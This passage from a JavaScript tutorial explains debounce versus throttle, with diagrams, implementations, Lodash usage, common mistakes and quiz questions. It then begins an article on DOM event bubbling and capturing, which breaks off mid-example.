Events at 10ms, 20ms... 90ms — ignored (within 100ms window) 3. Event at 100ms — function executes (100ms has passed) 4. Events at 110ms, 120ms... 190ms — ignored 5. Event at 200ms — function executes again **Key difference:** Throttle guarantees the function runs every X milliseconds during continuous activity. Debounce waits for activity to stop. <CardGroup cols={2}> <Card title="Throttle — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Throttle"> Official MDN definition of throttling with examples </Card> <Card title="Date.now() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now"> The timestamp API used in throttle implementations </Card> </CardGroup> --- ## Debounce vs Throttle: Visual Comparison Here's how they differ when handling the same stream of events: ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ DEBOUNCE VS THROTTLE COMPARISON │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ Raw Events (e.g., keystrokes, scroll): │ │ ─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●───────────●─●─●─●─●────────► │ │ └─────────────────────────────┘ └─────────┘ │ │ Burst 1 Burst 2 │ │ │ │ ─────────────────────────────────────────────────────────────────────────── │ │ │ │ DEBOUNCE (300ms): │ │ Waits for events to stop, then fires once │ │ │ │ ────────────────────────────────────●────────────────────●────────► │ │ │ │ │ │ Fires! Fires! │ │ (300ms after (300ms after │ │ last event) last event) │ │ │ │ ─────────────────────────────────────────────────────────────────────────── │ │ │ │ THROTTLE (100ms): │ │ Fires at regular intervals during activity │ │ │ │ ─●───────●───────●───────●───────●────────●───────●───────●────► │ │ │ │ │ │ │ │ │ │ │ │ 0ms 100ms 200ms 300ms 400ms ...ms ...ms ...ms │ │ │ │ Guarantees execution every 100ms while events continue │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` | Aspect | Debounce | Throttle | |--------|----------|----------| | **Executes** | After events stop | During events, at intervals | | **Guarantees** | Single execution per burst | Regular execution rate | | **Best for** | Final value matters (search) | Continuous updates (scroll position) | | **During 1000ms of events** | 1 execution (at end) | ~10 executions (every 100ms) | --- ## When to Use Which: Decision Flowchart Use this flowchart to decide between debounce and throttle: ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ WHICH TECHNIQUE SHOULD I USE? │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────┐ │ │ │ You have a function │ │ │ │ being called too often │ │ │ └───────────┬─────────────┘ │ │ │ │ │ ▼ │ │ ┌────────────────────────────────────────┐ │ │ │ Do you need updates DURING activity? │ │ │ └────────────────────┬───────────────────┘ │ │ ┌───────────┴───────────┐ │ │ │ │ │ │ YES NO │ │ │ │ │ │ ▼ ▼ │ │ ┌─────────────────┐ ┌─────────────────────┐ │ │ │ THROTTLE │ │ Do you only care │ │ │ │ │ │ about the FINAL │ │ │ │ • Scroll │ │ value? │ │ │ │ • Resize │ └──────────┬──────────┘ │ │ │ • Mouse move │ ┌────┴────┐ │ │ │ • Game loops │ YES NO │ │ │ • Progress │ │ │ │ │ │ │ ▼ ▼ │ │ └─────────────────┘ ┌────────────┐ ┌────────────┐ │ │ │ DEBOUNCE │ │ Consider │ │ │ │ │ │ both or │ │ │ │ • Search │ │ leading │ │ │ │ • Auto-save│ │ debounce │ │ │ │ • Validate │ │ │ │ │ │ • Resize │ └────────────┘ │ │ │ (final) │ │ │ └────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` ### Common Use Cases | Use Case | Technique | Why | |----------|-----------|-----| | **Search autocomplete** | Debounce | Only fetch after user stops typing | | **Form validation** | Debounce | Validate after user finishes input | | **Auto-save drafts** | Debounce | Save after user pauses editing | | **Window resize layout** | Debounce | Recalculate once at final size | | **Scroll position tracking** | Throttle | Need regular position updates | | **Infinite scroll** | Throttle | Check proximity to bottom regularly | | **Mouse move tooltips** | Throttle | Update position smoothly | | **Rate-limited API calls** | Throttle | Respect API rate limits | | **Button click (prevent double)** | Debounce (leading) | Execute first click, ignore rapid repeats | | **Live preview** | Throttle | Show changes without lag | --- ## Leading vs Trailing Edge Both debounce and throttle can execute on the **leading edge** (immediately on first call) or **trailing edge** (after delay/at end of interval). Some implementations support both. ### Trailing Edge (Default) The function executes **after** the delay/interval. This is the default behavior shown above. ```javascript // Trailing debounce: executes AFTER user stops typing const trailingDebounce = debounce(search, 300) // Timeline: type "hi" → wait 300ms → search("hi") executes ``` ### Leading Edge The function executes **immediately** on the first call, then ignores subsequent calls until the delay expires. ```javascript function debounceLeading(fn, delay) { let timeoutId return function(...args) { // Execute immediately if no pending timeout if (!timeoutId) { fn.apply(this, args) } // Clear and reset the timeout clearTimeout(timeoutId) timeoutId = setTimeout(() => { timeoutId = null // Allow next leading call }, delay) } } // Usage: Prevent double-click on submit button const handleSubmit = debounceLeading(() => { console.log('Form submitted!') submitForm() }, 1000) submitButton.addEventListener('click', handleSubmit) // First click: submits immediately // Rapid clicks: ignored for 1 second ``` ### Leading Edge Throttle ```javascript function throttleLeading(fn, interval) { let lastTime = 0 return function(...args) { const now = Date.now() if (now - lastTime >= interval) { lastTime = now fn.apply(this, args) } } } // This is actually the same as our basic throttle! // Throttle naturally executes on leading edge ``` ### Both Edges For maximum responsiveness, execute on both leading AND trailing edges: ```javascript function debounceBothEdges(fn, delay) { let timeoutId let lastCallTime = 0 return function(...args) { const now = Date.now() const timeSinceLastCall = now - lastCallTime // Leading edge: execute if enough time has passed if (timeSinceLastCall >= delay) { fn.apply(this, args) } lastCallTime = now // Trailing edge: also execute after delay clearTimeout(timeoutId) timeoutId = setTimeout(() => { fn.apply(this, args) lastCallTime = Date.now() }, delay) } } ``` --- ## Production-Ready Implementations Here are more robust implementations with additional features: ### Enhanced Debounce with Cancel ```javascript function debounce(fn, delay, options = {}) { let timeoutId let lastArgs let lastThis const { leading = false, trailing = true } = options function debounced(...args) { lastArgs = args lastThis = this const invokeLeading = leading && !timeoutId clearTimeout(timeoutId) timeoutId = setTimeout(() => { timeoutId = null if (trailing && lastArgs) { fn.apply(lastThis, lastArgs) lastArgs = null lastThis = null } }, delay) if (invokeLeading) { fn.apply(this, args) } } debounced.cancel = function() { clearTimeout(timeoutId) timeoutId = null lastArgs = null lastThis = null } debounced.flush = function() { if (timeoutId && lastArgs) { fn.apply(lastThis, lastArgs) debounced.cancel() } } return debounced } // Usage const debouncedSave = debounce(saveDocument, 1000, { leading: true, trailing: true }) // Cancel pending execution debouncedSave.cancel() // Execute immediately debouncedSave.flush() ``` ### Enhanced Throttle with Trailing Call ```javascript function throttle(fn, interval, options = {}) { let lastTime = 0 let timeoutId let lastArgs let lastThis const { leading = true, trailing = true } = options function throttled(...args) { const now = Date.now() const timeSinceLastCall = now - lastTime lastArgs = args lastThis = this // Leading edge if (timeSinceLastCall >= interval) { if (leading) { lastTime = now fn.apply(this, args) } } // Schedule trailing edge if (trailing) { clearTimeout(timeoutId) timeoutId = setTimeout(() => { if (Date.now() - lastTime >= interval && lastArgs) { lastTime = Date.now() fn.apply(lastThis, lastArgs) lastArgs = null lastThis = null } }, interval - timeSinceLastCall) } } throttled.cancel = function() { clearTimeout(timeoutId) lastTime = 0 timeoutId = null lastArgs = null lastThis = null } return throttled } ``` --- ## Using Lodash in Production For production applications, use battle-tested libraries like [Lodash](https://lodash.com/). With over 30 million weekly npm downloads, Lodash's debounce and throttle implementations handle edge cases, provide TypeScript types, and are thoroughly tested across thousands of production applications. ### Installation ```bash # Full library npm install lodash # Or just the functions you need npm install lodash.debounce lodash.throttle ``` ### Basic Usage ```javascript import debounce from 'lodash/debounce' import throttle from 'lodash/throttle' // Debounce with options const debouncedSearch = debounce(search, 300, { leading: false, // Don't execute on first call trailing: true, // Execute after delay (default) maxWait: 1000 // Maximum time to wait (forces execution) }) // Throttle with options const throttledScroll = throttle(updateScrollPosition, 100, { leading: true, // Execute on first call (default) trailing: true // Also execute at end of interval (default) }) // Cancel pending execution debouncedSearch.cancel() // Execute immediately debouncedSearch.flush() ``` ### The maxWait Option Lodash's debounce has a powerful `maxWait` option that sets a maximum time the function can be delayed: ```javascript import debounce from 'lodash/debounce' // Search after typing stops, BUT at least every 2 seconds const debouncedSearch = debounce(search, 300, { maxWait: 2000 // Force execution after 2 seconds of continuous typing }) ``` This is essentially debounce + throttle combined. Useful when you want responsiveness during long bursts of activity. <Tip> **Fun fact:** Lodash's `throttle` is actually implemented using `debounce` with the `maxWait` option set equal to the wait time. Check the [source code](https://github.com/lodash/lodash/blob/main/src/throttle.ts)! </Tip> --- ## Real-World Examples ### Search Autocomplete ```javascript import debounce from 'lodash/debounce' const searchInput = document.getElementById('search') const resultsContainer = document.getElementById('results') async function fetchResults(query) { if (!query.trim()) { resultsContainer.innerHTML = '' return } try { const response = await fetch(`/api/search?q=${encodeURIComponent(query)}`) const results = await response.json() renderResults(results) } catch (error) { console.error('Search failed:', error) } } // Only search 300ms after user stops typing const debouncedFetch = debounce(fetchResults, 300) searchInput.addEventListener('input', (e) => { debouncedFetch(e.target.value) }) ``` ### Infinite Scroll ```javascript import throttle from 'lodash/throttle' function checkScrollPosition() { const scrollPosition = window.scrollY + window.innerHeight const documentHeight = document.documentElement.scrollHeight // Load more when within 200px of bottom if (documentHeight - scrollPosition < 200) { loadMoreContent() } } // Check position every 100ms while scrolling const throttledCheck = throttle(checkScrollPosition, 100) window.addEventListener('scroll', throttledCheck) // Cleanup on unmount function cleanup() { window.removeEventListener('scroll', throttledCheck) throttledCheck.cancel() } ``` ### Window Resize Handler ```javascript import debounce from 'lodash/debounce' function recalculateLayout() { const width = window.innerWidth const height = window.innerHeight // Expensive layout calculations updateGridColumns(width) resizeCharts(width, height) repositionElements() } // Only recalculate after user stops resizing const debouncedResize = debounce(recalculateLayout, 250) window.addEventListener('resize', debouncedResize) ``` ### Prevent Double Submit ```javascript import debounce from 'lodash/debounce' const form = document.getElementById('checkout-form') async function submitOrder(formData) { const response = await fetch('/api/orders', { method: 'POST', body: formData }) if (response.ok) { window.location.href = '/order-confirmation' } } // Execute immediately, ignore clicks for 2 seconds const debouncedSubmit = debounce(submitOrder, 2000, { leading: true, trailing: false }) form.addEventListener('submit', (e) => { e.preventDefault() debouncedSubmit(new FormData(form)) }) ``` ### Mouse Move Tooltip ```javascript import throttle from 'lodash/throttle' const tooltip = document.getElementById('tooltip') function updateTooltipPosition(x, y) { tooltip.style.left = `${x + 10}px` tooltip.style.top = `${y + 10}px` } // Update tooltip position every 16ms (60fps) const throttledUpdate = throttle(updateTooltipPosition, 16) document.addEventListener('mousemove', (e) => { throttledUpdate(e.clientX, e.clientY) }) ``` --- ## requestAnimationFrame Alternative For visual updates tied to rendering (animations, scroll effects), [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) is often better than throttle. As web.dev's rendering performance guide explains, rAF syncs with the browser's repaint cycle (typically 60fps ≈ 16ms) and is scheduled by the [event loop](/concepts/event-loop) as a special render-related callback. ```javascript function throttleWithRAF(fn) { let ticking = false let lastArgs return function(...args) { lastArgs = args if (!ticking) { ticking = true requestAnimationFrame(() => { fn.apply(this, lastArgs) ticking = false }) } } } // Usage: Smooth scroll-linked animations const updateScrollAnimation = throttleWithRAF(() => { const scrollPercent = window.scrollY / (document.documentElement.scrollHeight - window.innerHeight) progressBar.style.width = `${scrollPercent * 100}%` parallaxElement.style.transform = `translateY(${scrollPercent * 100}px)` }) window.addEventListener('scroll', updateScrollAnimation) ``` **When to use rAF vs throttle:** | Use rAF when... | Use throttle when... | |-----------------|---------------------| | Animating DOM elements | Rate-limiting API calls | | Scroll-linked visual effects | Infinite scroll loading | | Canvas/WebGL rendering | Analytics event tracking | | Parallax effects | Form validation | --- ## Common Mistakes ### Mistake 1: Creating New Debounced Functions Each Time ```javascript // ❌ WRONG: Creates a new debounced function on every call element.addEventListener('input', (e) => { debounce(handleInput, 300)(e) // This doesn't work! }) // ✓ CORRECT: Create once, reuse const debouncedHandler = debounce(handleInput, 300) element.addEventListener('input', debouncedHandler) ``` ### Mistake 2: Forgetting to Clean Up ```javascript // ❌ WRONG: Memory leak in React/Vue/etc. useEffect(() => { const handler = throttle(handleScroll, 100) window.addEventListener('scroll', handler) }, []) // ✓ CORRECT: Clean up on unmount useEffect(() => { const handler = throttle(handleScroll, 100) window.addEventListener('scroll', handler) return () => { window.removeEventListener('scroll', handler) handler.cancel() // Cancel any pending calls } }, []) ``` ### Mistake 3: Wrong Technique for the Job ```javascript // ❌ WRONG: Debounce for scroll position tracking // User won't see smooth updates, only final position window.addEventListener('scroll', debounce(updatePosition, 100)) // ✓ CORRECT: Throttle for continuous visual updates window.addEventListener('scroll', throttle(updatePosition, 100)) // ❌ WRONG: Throttle for search autocomplete // Unnecessary API calls while user is still typing input.addEventListener('input', throttle(search, 300)) // ✓ CORRECT: Debounce for search (only when typing stops) input.addEventListener('input', debounce(search, 300)) ``` ### Mistake 4: Losing `this` Context ```javascript // ❌ WRONG: Arrow function preserves wrong `this` class SearchComponent { constructor() { this.query = '' } handleInput = debounce(() => { console.log(this.query) // Works, but... }, 300) } // ❌ WRONG: Method loses `this` when passed as callback class SearchComponent { handleInput() { console.log(this.query) // `this` is undefined! } } const component = new SearchComponent() input.addEventListener('input', debounce(component.handleInput, 300)) // ✓ CORRECT: Bind the method input.addEventListener('input', debounce(component.handleInput.bind(component), 300)) // ✓ ALSO CORRECT: Wrap in arrow function input.addEventListener('input', debounce((e) => component.handleInput(e), 300)) ``` ### Mistake 5: Choosing the Wrong Delay ```javascript // ❌ TOO SHORT: Defeats the purpose debounce(search, 50) // Still makes many API calls // ❌ TOO LONG: Feels unresponsive debounce(search, 1000) // User waits 1 second for results // ✓ GOOD: Balance between responsiveness and efficiency debounce(search, 250) // 250-400ms is typical for search throttle(scroll, 100) // 100-150ms for scroll (smooth but efficient) ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Debounce waits for silence** — It delays execution until events stop coming for a specified duration. Use it when you only care about the final value. 2. **Throttle maintains rhythm** — It ensures execution happens at most once per interval, even during continuous events. Use it when you need regular updates. 3. **Leading vs trailing** — Leading executes immediately on first call; trailing executes after the delay. You can use both for maximum responsiveness. 4. **Use Lodash in production** — Battle-tested implementations with TypeScript types, cancel methods, and edge case handling. 5. **Create debounced/throttled functions once** — Don't create them inside event handlers or render functions. 6. **Always clean up** — Cancel pending executions and remove event listeners when components unmount. 7. **requestAnimationFrame for animations** — For visual updates, rAF syncs with the browser's repaint cycle for smoother results. 8. **Choose the right delay** — 250-400ms for search/typing, 100-150ms for scroll/resize, 16ms for animations. 9. **Closures make it work** — Both techniques use closures to maintain state (timers, timestamps) between function calls. 10. **Test your implementation** — Verify the behavior matches your expectations, especially edge cases like rapid bursts and cleanup. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the key difference between debounce and throttle?"> **Answer:** - **Debounce** waits for a pause in events before executing. The function only runs once after events stop coming for the specified delay. - **Throttle** executes at regular intervals during continuous events. It guarantees the function runs at most once per specified interval, providing regular updates. **Example:** If events fire continuously for 1 second: - Debounce (300ms): 1 execution (after events stop + 300ms) - Throttle (100ms): ~10 executions (every 100ms) </Accordion> <Accordion title="Question 2: When would you use leading edge debounce?"> **Answer:** Leading edge debounce executes immediately on the first call, then ignores subsequent calls until the delay expires. Use it when: 1. **Preventing double-clicks** — Submit form on first click, ignore rapid additional clicks 2. **Immediate feedback** — Show something instantly, but don't repeat 3. **First interaction matters** — Track first button press, not every press ```javascript const preventDoubleClick = debounce(submitForm, 1000, { leading: true, trailing: false }) ``` </Accordion> <Accordion title="Question 3: Why shouldn't you create debounced functions inside event handlers?"> **Answer:** Creating a debounced function inside an event handler creates a **new function every time the event fires**. Each new function has its own separate timer, so debouncing never actually works: ```javascript // ❌ WRONG - new debounced function each time input.addEventListener('input', (e) => { debounce(search, 300)(e.target.value) // Timer 1, Timer 2, Timer 3... none wait for each other }) // ✓ CORRECT - same debounced function reused const debouncedSearch = debounce(search, 300) input.addEventListener('input', (e) => { debouncedSearch(e.target.value) // Same timer gets reset each time }) ``` </Accordion> <Accordion title="Question 4: What is Lodash's maxWait option?"> **Answer:** The `maxWait` option sets a maximum time a debounced function can be delayed. Even if events keep coming, the function will execute after `maxWait` milliseconds. ```javascript const debouncedSearch = debounce(search, 300, { maxWait: 2000 // Force execution after 2 seconds }) ``` This is useful for long typing sessions — you still get the debounce behavior, but users see results at least every 2 seconds. It's essentially debounce + throttle combined. Fun fact: Lodash's `throttle` is implemented using `debounce` with `maxWait` equal to the wait time! </Accordion> <Accordion title="Question 5: When should you use requestAnimationFrame instead of throttle?"> **Answer:** Use `requestAnimationFrame` when you're doing **visual updates** that need to sync with the browser's repaint cycle: - Scroll-linked animations - Parallax effects - Canvas/WebGL rendering - DOM element transformations ```javascript // rAF syncs with 60fps refresh rate const throttledWithRAF = (fn) => { let ticking = false return (...args) => { if (!ticking) { requestAnimationFrame(() => { fn(...args) ticking = false }) ticking = true } } } ``` Use throttle for non-visual tasks: API calls, analytics tracking, loading content, validation. </Accordion> <Accordion title="Question 6: How do closures enable debounce and throttle?"> **Answer:** Both debounce and throttle are **higher-order functions** that return a new function. The returned function uses **closures** to remember state between calls: ```javascript function debounce(fn, delay) { let timeoutId // ← Closure variable, persists between calls return function(...args) { clearTimeout(timeoutId) timeoutId = setTimeout(() => fn.apply(this, args), delay) // timeoutId is remembered from the previous call } } ``` The closure allows the returned function to: - Remember the `timeoutId` from previous calls (to clear it) - Track `lastTime` for throttle calculations - Store pending `args` and `this` context Without closures, each call would have no memory of previous calls. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between debounce and throttle in JavaScript?"> Debounce delays execution until events stop coming for a specified duration — it fires once after a burst. Throttle limits execution to at most once per interval during continuous events — it fires at regular intervals. Use debounce when you care about the final value (search), and throttle when you need periodic updates (scroll tracking). </Accordion> <Accordion title="What is a good debounce delay for search input?"> A delay of 250–400 milliseconds is standard for search autocomplete. This gives users enough time to finish typing a word without feeling unresponsive. Lodash's `maxWait` option can force execution after a maximum delay (e.g., 2 seconds) during long typing sessions, combining debounce and throttle behavior. </Accordion> <Accordion title="How do I clean up debounced functions in React?"> Always cancel pending executions in a cleanup function. Return a cleanup from `useEffect` that calls `handler.cancel()` and removes event listeners. According to the React documentation, forgetting cleanup is one of the most common sources of memory leaks in React applications using debounce or throttle. </Accordion> <Accordion title="Can I use requestAnimationFrame instead of throttle?"> Yes, for visual updates like animations and scroll-linked effects. `requestAnimationFrame` syncs with the browser's 60fps repaint cycle (~16ms intervals), producing smoother results than a fixed throttle interval. Use throttle for non-visual tasks like API calls, analytics tracking, and infinite scroll loading. </Accordion> <Accordion title="Why doesn't my debounce work when created inside an event handler?"> Creating a debounced function inside an event handler creates a new function (with its own timer) on every event. Each instance has a separate timer, so debouncing never kicks in. Always create the debounced function once outside the handler and reuse it — the closure maintains state between calls. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope & Closures" icon="lock" href="/concepts/scope-and-closures"> Understand how closures enable debounce and throttle to maintain state between calls </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Learn about functions that return functions — the pattern both techniques use </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> Understand how setTimeout and browser events are scheduled and processed </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> The foundation for understanding how debounce and throttle wrap other functions </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Debounce — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Debounce"> Official MDN definition with explanation of leading and trailing edges </Card> <Card title="Throttle — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Throttle"> Official MDN definition with scroll handler examples </Card> <Card title="setTimeout — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"> The timer API that powers debounce implementations </Card> <Card title="requestAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame"> Browser API for syncing with the repaint cycle — an alternative to throttle for animations </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Debouncing and Throttling Explained" icon="newspaper" href="https://css-tricks.com/debouncing-throttling-explained-examples/"> CSS-Tricks' comprehensive guide with interactive CodePen demos. The visual examples make timing differences crystal clear. </Card> <Card title="Lodash Debounce Documentation" icon="newspaper" href="https://lodash.com/docs/#debounce"> Official Lodash docs for _.debounce with all options explained. Production-ready implementation details. </Card> <Card title="Lodash Throttle Documentation" icon="newspaper" href="https://lodash.com/docs/#throttle"> Official Lodash docs for _.throttle. Shows how throttle is built on top of debounce with maxWait. </Card> <Card title="JavaScript Debounce Function — David Walsh" icon="newspaper" href="https://davidwalsh.name/javascript-debounce-function"> Classic article with a simple debounce implementation. Good for understanding the core logic. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Debounce & Throttle — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=cjIswDCKgu0"> Kyle Cook explains both concepts with clear visualizations and practical examples. Great for visual learners. </Card> <Card title="JavaScript Debounce in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=cMq6z5SH8s0"> Fireship's ultra-concise explanation of debounce. Perfect quick refresher. </Card> <Card title="Debouncing and Throttling — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=UlCHvTt0XLs"> MPJ's entertaining deep dive with real-world examples and implementation from scratch. </Card> <Card title="React Debounce Tutorial" icon="video" href="https://www.youtube.com/watch?v=G9aOoZJvPDY"> Learn how to properly use debounce in React with hooks, including cleanup patterns. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/event-bubbling-capturing.mdx ================================================ --- title: "Event Bubbling & Capturing" sidebarTitle: "Event Bubbling & Capturing" description: "Learn event bubbling and capturing in JavaScript. Understand the three phases of event propagation, stopPropagation, and when to use capturing vs bubbling." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Events" "article:tag": "event bubbling, event capturing, event propagation, stoppropagation, dom events" --- You click a button inside a `<div>`, but both the button's handler AND the div's handler fire. Why? Or you add a click listener to a parent element, and it somehow catches clicks on all its children. How does that work? The answer lies in **event propagation** — the way events travel through the DOM tree. Understanding this unlocks powerful patterns like [event delegation](/beyond/concepts/event-delegation) and helps you avoid frustrating bugs. ```javascript // Click a button nested inside a div document.querySelector('.parent').addEventListener('click', () => { console.log('Parent clicked!') // This fires too! }) document.querySelector('.child-button').addEventListener('click', () => { console.log('Button clicked!') // This fires first }) // Click the button → Output: // "Button clicked!" // "Parent clicked!" — Wait, I only clicked the button! ``` This happens because of **event bubbling** — one of the three phases every DOM event goes through. <Info> **What you'll learn in this guide:** - The three phases of event propagation (capturing, target, bubbling) - Why events "bubble up" to parent elements - How to listen during the capturing phase with `addEventListener` - The difference between `stopPropagation()` and `stopImmediatePropagation()` - Which events don't bubble and their alternatives - When capturing is actually useful (it's rare, but important) - Common mistakes that break event handling </Info> <Warning> **Prerequisite:** This guide assumes you're comfortable with basic [DOM manipulation](/concepts/dom) and event listeners. If `addEventListener` is new to you, read that guide first! </Warning> --- ## What is Event Propagation? **Event propagation** is the process by which an event travels through the DOM tree when triggered on an element. Instead of the event only affecting the element you clicked, it travels through the element's ancestors in a specific order, giving each one a chance to respond. According to the [W3C UI Events specification](https://www.w3.org/TR/uievents/#event-flow), every DOM event goes through **three phases**: 1. **Capturing phase** — The event travels DOWN from `window` to the target element 2. **Target phase** — The event arrives at the element that triggered it 3. **Bubbling phase** — The event travels UP from the target back to `window` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE THREE PHASES OF EVENT PROPAGATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ PHASE 1: CAPTURING PHASE 3: BUBBLING │ │ (Top → Down) (Bottom → Up) │ │ │ │ window window │ │ ↓ ↑ │ │ document document │ │ ↓ ↑ │ │ <html> <html> │ │ ↓ ↑ │ │ <body> <body> │ │ ↓ ↑ │ │ <div> <div> │ │ ↓ ↑ │ │ <button> ←── PHASE 2: TARGET ──→ <button> │ │ │ │ Handlers with Handlers with │ │ capture: true capture: false (default) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` By default, event listeners fire during the **bubbling phase** (Phase 3). [Can I Use data](https://caniuse.com/addeventlistener) confirms that `addEventListener` with capture support is available in all modern browsers since IE9. That's why when you click a button, the button's handler fires first, then its parent's handler, then its grandparent's, and so on up to `window`. <CardGroup cols={2}> <Card title="Event bubbling — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling"> Official MDN guide covering bubbling, capturing, and delegation with interactive examples. </Card> <Card title="EventTarget.addEventListener() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"> Complete reference for addEventListener including the capture option and all parameters. </Card> </CardGroup> --- ## The Restaurant Analogy Think of event propagation like an announcement traveling through a restaurant: **Capturing phase:** The manager walks from the entrance, through the dining room, past each table, until reaching your table to deliver a message. Every employee along the way hears it first. **Target phase:** The message reaches you directly. **Bubbling phase:** After you receive it, anyone who was listening nearby (your table, then nearby tables, then the whole dining room) can also respond — but in reverse order, starting with the closest. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ EVENT PROPAGATION IN A RESTAURANT │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ENTRANCE (window) │ │ │ │ │ ↓ ─── Capturing ────────────────────────────────┐ │ │ DINING ROOM (document) │ │ │ │ │ │ │ ↓ │ │ │ SECTION A (parent div) │ │ │ │ │ │ │ ↓ │ │ │ YOUR TABLE (button) ◄── TARGET ──► │ │ │ │ │ │ │ ↑ │ │ │ SECTION A ─── Bubbling ─────────────────────────────┘ │ │ ↑ │ │ DINING ROOM │ │ ↑ │ │ ENTRANCE │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Most of the time, you only care about the bubbling phase. But knowing about capturing helps you understand why events behave the way they do. --- ## Event Bubbling in Action Let's see bubbling with a concrete example. We'll create nested elements and add click handlers to each: ```javascript // HTML: <div class="grandparent"> // <div class="parent"> // <button class="child">Click me</button> // </div> // </div> document.querySelector('.grandparent').addEventListener('click', () => { console.log('Grandparent clicked') }) document.querySelector('.parent').addEventListener('click', () => { console.log('Parent clicked') }) document.querySelector('.child').addEventListener('click', () => { console.log('Child clicked') }) // Click the button → Output: // "Child clicked" // "Parent clicked" // "Grandparent clicked" ``` The event starts at the button (the target), then bubbles up through each ancestor. This is the default behavior for most events. ### Why Bubbling is Useful Bubbling enables **event delegation** — attaching a single listener to a parent element instead of individual listeners on many children: ```javascript // ❌ INEFFICIENT - Listener on every button document.querySelectorAll('.btn').forEach(btn => { btn.addEventListener('click', handleClick) }) // ✓ EFFICIENT - One listener on the parent document.querySelector('.button-container').addEventListener('click', (e) => { // e.target is the element that was actually clicked if (e.target.matches('.btn')) { handleClick(e) } }) ``` This pattern works because clicks on buttons bubble up to the container. Learn more in our [Event Delegation](/beyond/concepts/event-delegation) guide. --- ## Listening During the Capturing Phase By default, `addEventListener` listens during bubbling. To listen during **capturing** (when the event travels DOWN), pass `{ capture: true }` or just `true` as the third argument: ```javascript // Listen during BUBBLING (default) element.addEventListener('click', handler) element.addEventListener('click', handler, false) element.addEventListener('click', handler, { capture: false }) // Listen during CAPTURING element.addEventListener('click', handler, true) element.addEventListener('click', handler, { capture: true }) ``` Here's what changes when you use capturing: ```javascript document.querySelector('.parent').addEventListener('click', () => { console.log('Parent - capturing') }, true) // ← capture: true document.querySelector('.child').addEventListener('click', () => { console.log('Child - target') }) document.querySelector('.parent').addEventListener('click', () => { console.log('Parent - bubbling') }) // ← capture: false (default) // Click the child → Output: // "Parent - capturing" ← Fires FIRST (on the way down) // "Child - target" // "Parent - bubbling" ← Fires LAST (on the way up) ``` <Tip> **When is capturing useful?** Capturing is rarely needed, but it's essential when you need to intercept an event before it reaches the target — like implementing a global "cancel" mechanism or logging all clicks before any handler runs. </Tip> --- ## The `eventPhase` Property You can check which phase an event is in using the [`event.eventPhase`](https://developer.mozilla.org/en-US/docs/Web/API/Event/eventPhase) property: ```javascript element.addEventListener('click', (event) => { console.log(event.eventPhase) // 1 = CAPTURING_PHASE // 2 = AT_TARGET // 3 = BUBBLING_PHASE }) ``` | Value | Constant | Meaning | |-------|----------|---------| | 0 | `Event.NONE` | Event is not being processed | | 1 | `Event.CAPTURING_PHASE` | Event is traveling down to target | | 2 | `Event.AT_TARGET` | Event is at the target element | | 3 | `Event.BUBBLING_PHASE` | Event is bubbling up from target | ```javascript document.querySelector('.parent').addEventListener('click', (e) => { const phases = ['NONE', 'CAPTURING', 'AT_TARGET', 'BUBBLING'] console.log(`Phase: ${phases[e.eventPhase]}`) }, true) document.querySelector('.parent').addEventListener('click', (e) => { const phases = ['NONE', 'CAPTURING', 'AT_TARGET', 'BUBBLING'] console.log(`Phase: ${phases[e.eventPhase]}`) }) // Click the parent directly → Output: // "Phase: AT_TARGET" // "Phase: AT_TARGET" // (Both fire at target phase when clicking the element directly) // Click a child element → Output: // "Phase: CAPTURING" // "Phase: BUBBLING" ``` --- ## `event.target` vs `event.currentTarget` When events bubble, you need to distinguish between: - **`event.target`** — The element that **triggered** the event (what was actually clicked) - **`event.currentTarget`** — The element that **has the listener** (where the handler is attached) ```javascript document.querySelector('.parent').addEventListener('click', (e) => { console.log('target:', e.target.className) // What was clicked console.log('currentTarget:', e.currentTarget.className) // Where listener is }) // Click on a child button with class "child" // target: "child" ← The button you clicked // currentTarget: "parent" ← The element with the listener ``` This distinction is crucial for event delegation: ```javascript // Event delegation pattern document.querySelector('.list').addEventListener('click', (e) => { // e.target might be the <li>, <span>, or any child // e.currentTarget is always .list // Find the list item (even if user clicked a child) const 